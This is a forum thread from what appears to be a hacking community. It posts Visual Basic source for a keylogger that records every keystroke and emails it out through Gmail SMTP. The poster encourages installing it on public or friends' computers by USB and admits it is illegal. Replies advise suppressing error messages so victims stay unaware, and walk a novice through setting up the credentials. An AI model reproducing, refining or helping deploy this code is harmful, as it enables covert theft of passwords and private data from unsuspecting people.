What is a Keylogger?
A Keylogger is a generally malicious program that records keystrokes by the user.
Why use a Keylogger?
Keyloggers can record data that is normally in-accessible. Such as Passwords, or other secure Data.
How does this Keylogger work?
This keylogger simply records keystrokes, and sends them to a specified eMail at a specified times.
How do I Infect others?
Put the compiled program on a USB stick, and move it to a public computer, such as a library, or a friends computer. Maybe even your own computer! Just don't get Caught!
Illegal? Legal?
Keyloggers themselves are not illegal. The ways in which keyloggers are used, and acquired is where legality comes into effect. There are some Commercial home keyloggers on the market, which are legal. Keyloggers like this one, are infact, Illegal.
Imports System.Web
Imports System.IO
Imports System.Net.Mail
--
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetAnyncKeySync Lib "user32" (ByVal vKey As Long) As Integer
--
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "password")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("[email protected]")
mail.From = New MailAddress("[email protected]")
mail.Subject = "password"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub
Thanks!
If you used/think this is useful, please drop a comment. ;)
Took about an hour to Write/Make video, etc.
There are a couple other videos on youtube on this subject,
Just thought i'de give one a try, and why not post it here. ;)
Btw, you are using SMTP server. It easily to know that it has keylogger in their pc. Because of the pop error.. "SMTP error blah blah blah.... error sending email to ..blah blah.."
(Apr 4, 2011 01:43 AM)dheluxe Wrote: Btw, you are using SMTP server. It easily to know that it has keylogger in their pc. Because of the pop error.. "SMTP error blah blah blah.... error sending email to ..blah blah.."
This is true, Just make sure there are no errors before infecting someone. ;D
(Apr 4, 2011 01:53 AM)Numair Wrote: To remove this errror you should use Try---Catch aka Error Handling so it doesn't show any errors while sending mail.
Yeah, Imma include something like that in my advanced keylogger tutorial.
I just felt I should make a simple tut for shits n giggles. +Bored @ 2AM. ;)
(Apr 4, 2011 01:43 AM)dheluxe Wrote: Btw, you are using SMTP server. It easily to know that it has keylogger in their pc. Because of the pop error.. "SMTP error blah blah blah.... error sending email to ..blah blah.."
I don't understand how some people are too stupid to think of error handling...
Edit: On topic, thanks for the source. Although there are hundreds of other keylogger sources around here, this one is nice and simple. A good base.
Edit Edit: I took a look and I suggest you use TextBox1.AppendText(Chr(i))
It just looks a lot better than Textbox1.Text = Textbox1.Text + etc. IDK, I guess to each his own.
(Apr 5, 2011 11:01 PM)ident Wrote: Took an hour to write a few lines?
To write the tutorial, & shoot the video.
What mainly took the longest was the render time on the video.
As you can see, it only took my 7 minutes to write the actual code. ;p
Does it only work with GMAIL???
Should i write my username and password to this part??? -> SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "password")
Should i type the targets email here??? mail.From = New MailAddress("[email protected]")
After i have debugged the program i can build it as windows application.. But then what i have to do with this program? send to the targets email??? sorry im a noob :D i would be glad if anyone could help!
Does it only work with GMAIL???
Should i write my username and password to this part??? -> SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "password")
Should i type the targets email here??? mail.From = New MailAddress("[email protected]")
After i have debugged the program i can build it as windows application.. But then what i have to do with this program? send to the targets email??? sorry im a noob :D i would be glad if anyone could help!
Yes, you'll need a gmail.
Replace [email protected] with your email, and put your password where it says "Password"
Replace [email protected] with a second email. IT CAN BE THE SAME AS THE FIRST. ([email protected])
Then the [email protected] could be anything. Just make sure its got an @gmail.com on it. (Just use the same email)
